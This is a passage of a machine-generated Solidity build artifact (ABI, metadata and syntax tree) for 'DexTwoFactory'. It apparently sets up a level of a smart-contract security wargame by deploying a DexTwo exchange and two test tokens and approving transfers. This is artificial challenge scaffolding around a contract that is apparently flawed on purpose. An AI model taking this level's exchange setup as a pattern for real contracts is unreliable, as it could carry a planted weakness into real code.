owner.\"}},\"version\":1},\"userdoc\":{\"kind\":\"user\",\"methods\":{},\"version\":1}},\"settings\":{\"compilationTarget\":{\"src/levels/DexTwoFactory.sol\":\"DexTwoFactory\"},\"evmVersion\":\"shanghai\",\"libraries\":{},\"metadata\":{\"bytecodeHash\":\"ipfs\"},\"optimizer\":{\"enabled\":true,\"runs\":1000},\"remappings\":[\":ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/\",\":erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/\",\":forge-std/=lib/forge-std/src/\",\":openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/\",\":openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/\",\":openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/\",\":openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/\",\":openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/\"]},\"sources\":{\"lib/openzeppelin-contracts-08/contracts/access/Ownable.sol\":{\"keccak256\":\"0xa94b34880e3c1b0b931662cb1c09e5dfa6662f31cba80e07c5ee71cd135c9673\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://40fb1b5102468f783961d0af743f91b9980cf66b50d1d12009f6bb1869cea4d2\",\"dweb:/ipfs/QmYqEbJML4jB1GHbzD4cUZDtJg5wVwNm3vDJq1GbyDus8y\"]},\"lib/openzeppelin-contracts-08/contracts/token/ERC20/ERC20.sol\":{\"keccak256\":\"0x24b04b8aacaaf1a4a0719117b29c9c3647b1f479c5ac2a60f5ff1bb6d839c238\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://43e46da9d9f49741ecd876a269e71bc7494058d7a8e9478429998adb5bc3eaa0\",\"dweb:/ipfs/QmUtp4cqzf22C5rJ76AabKADquGWcjsc33yjYXxXC4sDvy\"]},\"lib/openzeppelin-contracts-08/contracts/token/ERC20/IERC20.sol\":{\"keccak256\":\"0x9750c6b834f7b43000631af5cc30001c5f547b3ceb3635488f140f60e897ea6b\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://5a7d5b1ef5d8d5889ad2ed89d8619c09383b80b72ab226e0fe7bde1636481e34\",\"dweb:/ipfs/QmebXWgtEfumQGBdVeM6c71McLixYXQP5Bk6kKXuoY4Bmr\"]},\"lib/openzeppelin-contracts-08/contracts/token/ERC20/extensions/IERC20Metadata.sol\":{\"keccak256\":\"0x8de418a5503946cabe331f35fe242d3201a73f67f77aaeb7110acb1f30423aca\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://5a376d3dda2cb70536c0a45c208b29b34ac560c4cb4f513a42079f96ba47d2dd\",\"dweb:/ipfs/QmZQg6gn1sUpM8wHzwNvSnihumUCAhxD119MpXeKp8B9s8\"]},\"lib/openzeppelin-contracts-08/contracts/utils/Context.sol\":{\"keccak256\":\"0xe2e337e6dde9ef6b680e07338c493ebea1b5fd09b43424112868e9cc1706bca7\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://6df0ddf21ce9f58271bdfaa85cde98b200ef242a05a3f85c2bc10a8294800a92\",\"dweb:/ipfs/QmRK2Y5Yc6BK7tGKkgsgn3aJEQGi5aakeSPZvS65PV8Xp3\"]},\"src/levels/DexTwo.sol\":{\"keccak256\":\"0xeffc9f6006e26bd2ce1e6816206f515b65726c131439751db3636dd8886d6d5e\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://871623804cf6467cf51bb241e523472e6cea91a6ce400658adc218cffbfe2b38\",\"dweb:/ipfs/QmUjenKKbWtidbvdp8xFBeVH15NTxXKEnnC8ke3L78c1P7\"]},\"src/levels/DexTwoFactory.sol\":{\"keccak256\":\"0x17566ec4d83b157112eaf5b6e49b4374c40fefc4c137e75cefdd4e3e31d6dd58\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://971db3d42d4bea4b1c9806bc858569c20efe766146cf064cb7e9326d134ea905\",\"dweb:/ipfs/QmagNdS96XfdYh2oJD1jkoFgzo3GERZzLSbuaM5FXnPfdP\"]},\"src/levels/base/Level.sol\":{\"keccak256\":\"0x23e8a2c9454707c888fc4dc4cc44d89e5928e8d58a1f9c8f5c16c36697aadfdf\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://693402ec163e362b086874db09be2d1d11111276f70100bf9192a0fb3f5d9ccd\",\"dweb:/ipfs/QmSsygUUkJHRh13rGUQ4BrMTnzmPQKrRsBABS4Yk11kfAA\"]}},\"version\":1}","metadata":{"compiler":{"version":"0.8.24+commit.e11b9ed9"},"language":"Solidity","output":{"abi":[{"inputs":[{"internalType":"address","name":"previousOwner","type":"address","indexed":true},{"internalType":"address","name":"newOwner","type":"address","indexed":true}],"type":"event","name":"OwnershipTransferred","anonymous":false},{"inputs":[{"internalType":"address","name":"_player","type":"address"}],"stateMutability":"payable","type":"function","name":"createInstance","outputs":[{"internalType":"address","name":"","type":"address"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}]},{"inputs":[],"stateMutability":"nonpayable","type":"function","name":"renounceOwnership"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"stateMutability":"nonpayable","type":"function","name":"transferOwnership"},{"inputs":[{"internalType":"address payable","name":"_instance","type":"address"},{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function","name":"validateInstance","outputs":[{"internalType":"bool","name":"","type":"bool"}]}],"devdoc":{"kind":"dev","methods":{"owner()":{"details":"Returns the address of the current owner."},"renounceOwnership()":{"details":"Leaves the contract without owner. It will not be possible to call `onlyOwner` functions anymore. Can only be called by the current owner. NOTE: Renouncing ownership will leave the contract without an owner, thereby removing any functionality that is only available to the owner."},"transferOwnership(address)":{"details":"Transfers ownership of the contract to a new account (`newOwner`). Can only be called by the current owner."}},"version":1},"userdoc":{"kind":"user","methods":{},"version":1}},"settings":{"remappings":["ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/","erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/","forge-std/=lib/forge-std/src/","openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/","openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/","openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/","openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/","openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/"],"optimizer":{"enabled":true,"runs":1000},"metadata":{"bytecodeHash":"ipfs"},"compilationTarget":{"src/levels/DexTwoFactory.sol":"DexTwoFactory"},"evmVersion":"shanghai","libraries":{}},"sources":{"lib/openzeppelin-contracts-08/contracts/access/Ownable.sol":{"keccak256":"0xa94b34880e3c1b0b931662cb1c09e5dfa6662f31cba80e07c5ee71cd135c9673","urls":["bzz-raw://40fb1b5102468f783961d0af743f91b9980cf66b50d1d12009f6bb1869cea4d2","dweb:/ipfs/QmYqEbJML4jB1GHbzD4cUZDtJg5wVwNm3vDJq1GbyDus8y"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/token/ERC20/ERC20.sol":{"keccak256":"0x24b04b8aacaaf1a4a0719117b29c9c3647b1f479c5ac2a60f5ff1bb6d839c238","urls":["bzz-raw://43e46da9d9f49741ecd876a269e71bc7494058d7a8e9478429998adb5bc3eaa0","dweb:/ipfs/QmUtp4cqzf22C5rJ76AabKADquGWcjsc33yjYXxXC4sDvy"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/token/ERC20/IERC20.sol":{"keccak256":"0x9750c6b834f7b43000631af5cc30001c5f547b3ceb3635488f140f60e897ea6b","urls":["bzz-raw://5a7d5b1ef5d8d5889ad2ed89d8619c09383b80b72ab226e0fe7bde1636481e34","dweb:/ipfs/QmebXWgtEfumQGBdVeM6c71McLixYXQP5Bk6kKXuoY4Bmr"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/token/ERC20/extensions/IERC20Metadata.sol":{"keccak256":"0x8de418a5503946cabe331f35fe242d3201a73f67f77aaeb7110acb1f30423aca","urls":["bzz-raw://5a376d3dda2cb70536c0a45c208b29b34ac560c4cb4f513a42079f96ba47d2dd","dweb:/ipfs/QmZQg6gn1sUpM8wHzwNvSnihumUCAhxD119MpXeKp8B9s8"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/utils/Context.sol":{"keccak256":"0xe2e337e6dde9ef6b680e07338c493ebea1b5fd09b43424112868e9cc1706bca7","urls":["bzz-raw://6df0ddf21ce9f58271bdfaa85cde98b200ef242a05a3f85c2bc10a8294800a92","dweb:/ipfs/QmRK2Y5Yc6BK7tGKkgsgn3aJEQGi5aakeSPZvS65PV8Xp3"],"license":"MIT"},"src/levels/DexTwo.sol":{"keccak256":"0xeffc9f6006e26bd2ce1e6816206f515b65726c131439751db3636dd8886d6d5e","urls":["bzz-raw://871623804cf6467cf51bb241e523472e6cea91a6ce400658adc218cffbfe2b38","dweb:/ipfs/QmUjenKKbWtidbvdp8xFBeVH15NTxXKEnnC8ke3L78c1P7"],"license":"MIT"},"src/levels/DexTwoFactory.sol":{"keccak256":"0x17566ec4d83b157112eaf5b6e49b4374c40fefc4c137e75cefdd4e3e31d6dd58","urls":["bzz-raw://971db3d42d4bea4b1c9806bc858569c20efe766146cf064cb7e9326d134ea905","dweb:/ipfs/QmagNdS96XfdYh2oJD1jkoFgzo3GERZzLSbuaM5FXnPfdP"],"license":"MIT"},"src/levels/base/Level.sol":{"keccak256":"0x23e8a2c9454707c888fc4dc4cc44d89e5928e8d58a1f9c8f5c16c36697aadfdf","urls":["bzz-raw://693402ec163e362b086874db09be2d1d11111276f70100bf9192a0fb3f5d9ccd","dweb:/ipfs/QmSsygUUkJHRh13rGUQ4BrMTnzmPQKrRsBABS4Yk11kfAA"],"license":"MIT"}},"version":1},"ast":{"absolutePath":"src/levels/DexTwoFactory.sol","id":51448,"exportedSymbols":{"Context":[48281],"DexTwo":[51225],"DexTwoFactory":[51447],"ERC20":[47861],"IERC20":[47939],"IERC20Metadata":[47964],"Level":[55508],"Ownable":[46700],"SwappableTokenTwo":[51281]},"nodeType":"SourceUnit","src":"33:1459:70","nodes":[{"id":51283,"nodeType":"PragmaDirective","src":"33:23:70","nodes":[],"literals":["solidity","^","0.8",".0"]},{"id":51284,"nodeType":"ImportDirective","src":"58:26:70","nodes":[],"absolutePath":"src/levels/base/Level.sol","file":"./base/Level.sol","nameLocation":"-1:-1:-1","scope":51448,"sourceUnit":55509,"symbolAliases":[],"unitAlias":""},{"id":51285,"nodeType":"ImportDirective","src":"85:22:70","nodes":[],"absolutePath":"src/levels/DexTwo.sol","file":"./DexTwo.sol","nameLocation":"-1:-1:-1","scope":51448,"sourceUnit":51282,"symbolAliases":[],"unitAlias":""},{"id":51286,"nodeType":"ImportDirective","src":"108:57:70","nodes":[],"absolutePath":"lib/openzeppelin-contracts-08/contracts/token/ERC20/ERC20.sol","file":"openzeppelin-contracts-08/token/ERC20/ERC20.sol","nameLocation":"-1:-1:-1","scope":51448,"sourceUnit":47862,"symbolAliases":[],"unitAlias":""},{"id":51447,"nodeType":"ContractDefinition","src":"167:1324:70","nodes":[{"id":51401,"nodeType":"FunctionDefinition","src":"205:967:70","nodes":[],"body":{"id":51400,"nodeType":"Block","src":"288:884:70","nodes":[],"statements":[{"assignments":[51298],"declarations":[{"constant":false,"id":51298,"mutability":"mutable","name":"instance","nameLocation":"305:8:70","nodeType":"VariableDeclaration","scope":51400,"src":"298:15:70","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_DexTwo_$51225","typeString":"contract DexTwo"},"typeName":{"id":51297,"nodeType":"UserDefinedTypeName","pathNode":{"id":51296,"name":"DexTwo","nameLocations":["298:6:70"],"nodeType":"IdentifierPath","referencedDeclaration":51225,"src":"298:6:70"},"referencedDeclaration":51225,"src":"298:6:70","typeDescriptions":{"typeIdentifier":"t_contract$_DexTwo_$51225","typeString":"contract DexTwo"}},"visibility":"internal"}],"id":51303,"initialValue":{"arguments":[],"expression":{"argumentTypes":[],"id":51301,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"NewExpression","src":"316:10:70","typeDescriptions":{"typeIdentifier":"t_function_creation_nonpayable$__$returns$_t_contract$_DexTwo_$51225_$","typeString":"function () returns (contract DexTwo)"},"typeName":{"id":51300,"nodeType":"UserDefinedTypeName","pathNode":{"id":51299,"name":"DexTwo","nameLocations":["320:6:70"],"nodeType":"IdentifierPath","referencedDeclaration":51225,"src":"320:6:70"},"referencedDeclaration":51225,"src":"320:6:70","typeDescriptions":{"typeIdentifier":"t_contract$_DexTwo_$51225","typeString":"contract DexTwo"}}},"id":51302,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"316:12:70","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_DexTwo_$51225","typeString":"contract DexTwo"}},"nodeType":"VariableDeclarationStatement","src":"298:30:70"},{"assignments":[51305],"declarations":[{"constant":false,"id":51305,"mutability":"mutable","name":"instanceAddress","nameLocation":"346:15:70","nodeType":"VariableDeclaration","scope":51400,"src":"338:23:70","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":51304,"name":"address","nodeType":"ElementaryTypeName","src":"338:7:70","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"id":51310,"initialValue":{"arguments":[{"id":51308,"name":"instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51298,"src":"372:8:70","typeDescriptions":{"typeIdentifier":"t_contract$_DexTwo_$51225","typeString":"contract DexTwo"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_DexTwo_$51225","typeString":"contract DexTwo"}],"id":51307,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"364:7:70","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":51306,"name":"address","nodeType":"ElementaryTypeName","src":"364:7:70","typeDescriptions":{}}},"id":51309,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"364:17:70","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"VariableDeclarationStatement","src":"338:43:70"},{"assignments":[51313],"declarations":[{"constant":false,"id":51313,"mutability":"mutable","name":"tokenInstance","nameLocation":"410:13:70","nodeType":"VariableDeclaration","scope":51400,"src":"392:31:70","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_SwappableTokenTwo_$51281","typeString":"contract SwappableTokenTwo"},"typeName":{"id":51312,"nodeType":"UserDefinedTypeName","pathNode":{"id":51311,"name":"SwappableTokenTwo","nameLocations":["392:17:70"],"nodeType":"IdentifierPath","referencedDeclaration":51281,"src":"392:17:70"},"referencedDeclaration":51281,"src":"392:17:70","typeDescriptions":{"typeIdentifier":"t_contract$_SwappableTokenTwo_$51281","typeString":"contract SwappableTokenTwo"}},"visibility":"internal"}],"id":51322,"initialValue":{"arguments":[{"id":51317,"name":"instanceAddress","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51305,"src":"448:15:70","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"hexValue":"546f6b656e2031","id":51318,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"465:9:70","typeDescriptions":{"typeIdentifier":"t_stringliteral_5eacce6c95f6838cd10e92f48b0d82f4df03d4ad1e947ebc0e9a235c5ef43194","typeString":"literal_string \"Token 1\""},"value":"Token 1"},{"hexValue":"544b4e31","id":51319,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"476:6:70","typeDescriptions":{"typeIdentifier":"t_stringliteral_d73fadf620f058fa7aa38d2c9cc03f2f5dc8258e51c10239dc1233cf7932296e","typeString":"literal_string \"TKN1\""},"value":"TKN1"},{"hexValue":"313130","id":51320,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"484:3:70","typeDescriptions":{"typeIdentifier":"t_rational_110_by_1","typeString":"int_const 110"},"value":"110"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_stringliteral_5eacce6c95f6838cd10e92f48b0d82f4df03d4ad1e947ebc0e9a235c5ef43194","typeString":"literal_string \"Token 1\""},{"typeIdentifier":"t_stringliteral_d73fadf620f058fa7aa38d2c9cc03f2f5dc8258e51c10239dc1233cf7932296e","typeString":"literal_string \"TKN1\""},{"typeIdentifier":"t_rational_110_by_1","typeString":"int_const 110"}],"id":51316,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"NewExpression","src":"426:21:70","typeDescriptions":{"typeIdentifier":"t_function_creation_nonpayable$_t_address_$_t_string_memory_ptr_$_t_string_memory_ptr_$_t_uint256_$returns$_t_contract$_SwappableTokenTwo_$51281_$","typeString":"function (address,string memory,string memory,uint256) returns (contract SwappableTokenTwo)"},"typeName":{"id":51315,"nodeType":"UserDefinedTypeName","pathNode":{"id":51314,"name":"SwappableTokenTwo","nameLocations":["430:17:70"],"nodeType":"IdentifierPath","referencedDeclaration":51281,"src":"430:17:70"},"referencedDeclaration":51281,"src":"430:17:70","typeDescriptions":{"typeIdentifier":"t_contract$_SwappableTokenTwo_$51281","typeString":"contract SwappableTokenTwo"}}},"id":51321,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"426:62:70","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_SwappableTokenTwo_$51281","typeString":"contract SwappableTokenTwo"}},"nodeType":"VariableDeclarationStatement","src":"392:96:70"},{"assignments":[51325],"declarations":[{"constant":false,"id":51325,"mutability":"mutable","name":"tokenInstanceTwo","nameLocation":"516:16:70","nodeType":"VariableDeclaration","scope":51400,"src":"498:34:70","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_SwappableTokenTwo_$51281","typeString":"contract SwappableTokenTwo"},"typeName":{"id":51324,"nodeType":"UserDefinedTypeName","pathNode":{"id":51323,"name":"SwappableTokenTwo","nameLocations":["498:17:70"],"nodeType":"IdentifierPath","referencedDeclaration":51281,"src":"498:17:70"},"referencedDeclaration":51281,"src":"498:17:70","typeDescriptions":{"typeIdentifier":"t_contract$_SwappableTokenTwo_$51281","typeString":"contract SwappableTokenTwo"}},"visibility":"internal"}],"id":51334,"initialValue":{"arguments":[{"id":51329,"name":"instanceAddress","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51305,"src":"557:15:70","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"hexValue":"546f6b656e2032","id":51330,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"574:9:70","typeDescriptions":{"typeIdentifier":"t_stringliteral_c751b5b68c0ab3f6eca892f0f099d5a090c64dfe42ad9cf60707ee1cc8d081d8","typeString":"literal_string \"Token 2\""},"value":"Token 2"},{"hexValue":"544b4e32","id":51331,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"585:6:70","typeDescriptions":{"typeIdentifier":"t_stringliteral_a39ec66c774cba2cf553884c61d687cfaef06660fd9fd7c456b0e52f29efeca6","typeString":"literal_string \"TKN2\""},"value":"TKN2"},{"hexValue":"313130","id":51332,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"593:3:70","typeDescriptions":{"typeIdentifier":"t_rational_110_by_1","typeString":"int_const 110"},"value":"110"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_stringliteral_c751b5b68c0ab3f6eca892f0f099d5a090c64dfe42ad9cf60707ee1cc8d081d8","typeString":"literal_string \"Token 2\""},{"typeIdentifier":"t_stringliteral_a39ec66c774cba2cf553884c61d687cfaef06660fd9fd7c456b0e52f29efeca6","typeString":"literal_string \"TKN2\""},{"typeIdentifier":"t_rational_110_by_1","typeString":"int_const 110"}],"id":51328,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"NewExpression","src":"535:21:70","typeDescriptions":{"typeIdentifier":"t_function_creation_nonpayable$_t_address_$_t_string_memory_ptr_$_t_string_memory_ptr_$_t_uint256_$returns$_t_contract$_SwappableTokenTwo_$51281_$","typeString":"function (address,string memory,string memory,uint256) returns (contract SwappableTokenTwo)"},"typeName":{"id":51327,"nodeType":"UserDefinedTypeName","pathNode":{"id":51326,"name":"SwappableTokenTwo","nameLocations":["539:17:70"],"nodeType":"IdentifierPath","referencedDeclaration":51281,"src":"539:17:70"},"referencedDeclaration":51281,"src":"539:17:70","typeDescriptions":{"typeIdentifier":"t_contract$_SwappableTokenTwo_$51281","typeString":"contract SwappableTokenTwo"}}},"id":51333,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"535:62:70","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_SwappableTokenTwo_$51281","typeString":"contract SwappableTokenTwo"}},"nodeType":"VariableDeclarationStatement","src":"498:99:70"},{"assignments":[51336],"declarations":[{"constant":false,"id":51336,"mutability":"mutable","name":"tokenInstanceAddress","nameLocation":"616:20:70","nodeType":"VariableDeclaration","scope":51400,"src":"608:28:70","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":51335,"name":"address","nodeType":"ElementaryTypeName","src":"608:7:70","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"id":51341,"initialValue":{"arguments":[{"id":51339,"name":"tokenInstance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51313,"src":"647:13:70","typeDescriptions":{"typeIdentifier":"t_contract$_SwappableTokenTwo_$51281","typeString":"contract SwappableTokenTwo"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_SwappableTokenTwo_$51281","typeString":"contract SwappableTokenTwo"}],"id":51338,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"639:7:70","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":51337,"name":"address","nodeType":"ElementaryTypeName","src":"639:7:70","typeDescriptions":{}}},"id":51340,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"639:22:70","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"VariableDeclarationStatement","src":"608:53:70"},{"assignments":[51343],"declarations":[{"constant":false,"id":51343,"mutability":"mutable","name":"tokenInstanceTwoAddress","nameLocation":"679:23:70","nodeType":"VariableDeclaration","scope":51400,"src":"671:31:70","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":51342,"name":"address","nodeType":"ElementaryTypeName","src":"671:7:70","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"id":51348,"initialValue":{"arguments":[{"id":51346,"name":"tokenInstanceTwo","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51325,"src":"713:16:70","typeDescriptions":{"typeIdentifier":"t_contract$_SwappableTokenTwo_$51281","typeString":"contract SwappableTokenTwo"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_SwappableTokenTwo_$51281","typeString":"contract SwappableTokenTwo"}],"id":51345,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"705:7:70","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":51344,"name":"address","nodeType":"ElementaryTypeName","src":"705:7:70","typeDescriptions":{}}},"id":51347,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"705:25:70","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"VariableDeclarationStatement","src":"671:59:70"},{"expression":{"arguments":[{"id":51352,"name":"tokenInstanceAddress","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51336,"src":"760:20:70","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":51353,"name":"tokenInstanceTwoAddress","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51343,"src":"782:23:70","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":51349,"name":"instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51298,"src":"741:8:70","typeDescriptions":{"typeIdentifier":"t_contract$_DexTwo_$51225","typeString":"contract DexTwo"}},"id":51351,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"750:9:70","memberName":"setTokens","nodeType":"MemberAccess","referencedDeclaration":51052,"src":"741:18:70","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_address_$returns$__$","typeString":"function (address,address) external"}},"id":51354,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"741:65:70","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":51355,"nodeType":"ExpressionStatement","src":"741:65:70"},{"expression":{"arguments":[{"id":51359,"name":"instanceAddress","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51305,"src":"839:15:70","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"hexValue":"313030","id":51360,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"856:3:70","typeDescriptions":{"typeIdentifier":"t_rational_100_by_1","typeString":"int_const 100"},"value":"100"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_rational_100_by_1","typeString":"int_const 100"}],"expression":{"id":51356,"name":"tokenInstance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51313,"src":"817:13:70","typeDescriptions":{"typeIdentifier":"t_contract$_SwappableTokenTwo_$51281","typeString":"contract SwappableTokenTwo"}},"id":51358,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"831:7:70","memberName":"approve","nodeType":"MemberAccess","referencedDeclaration":47442,"src":"817:21:70","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_uint256_$returns$_t_bool_$","typeString":"function (address,uint256) external returns (bool)"}},"id":51361,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"817:43:70","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":51362,"nodeType":"ExpressionStatement","src":"817:43:70"},{"expression":{"arguments":[{"id":51366,"name":"instanceAddress","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51305,"src":"895:15:70","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"hexValue":"313030","id":51367,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"912:3:70","typeDescriptions":{"typeIdentifier":"t_rational_100_by_1","typeString":"int_const 100"},"value":"100"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_rational_100_by_1","typeString":"int_const 100"}],"expression":{"id":51363,"name":"tokenInstanceTwo","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51325,"src":"870:16:70","typeDescriptions":{"typeIdentifier":"t_contract$_SwappableTokenTwo_$51281","typeString":"contract SwappableTokenTwo"}},"id":51365,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"887:7:70","memberName":"approve","nodeType":"MemberAccess","referencedDeclaration":47442,"src":"870:24:70","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_uint256_$returns$_t_bool_$","typeString":"function (address,uint256) external returns (bool)"}},"id":51368,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"870:46:70","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":51369,"nodeType":"ExpressionStatement","src":"870:46:70"},{"expression":{"arguments":[{"id":51373,"name":"tokenInstanceAddress","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51336,"src":"950:20:70","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"hexValue":"313030","id":51374,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"972:3:70","typeDescriptions":{"typeIdentifier":"t_rational_100_by_1","typeString":"int_const 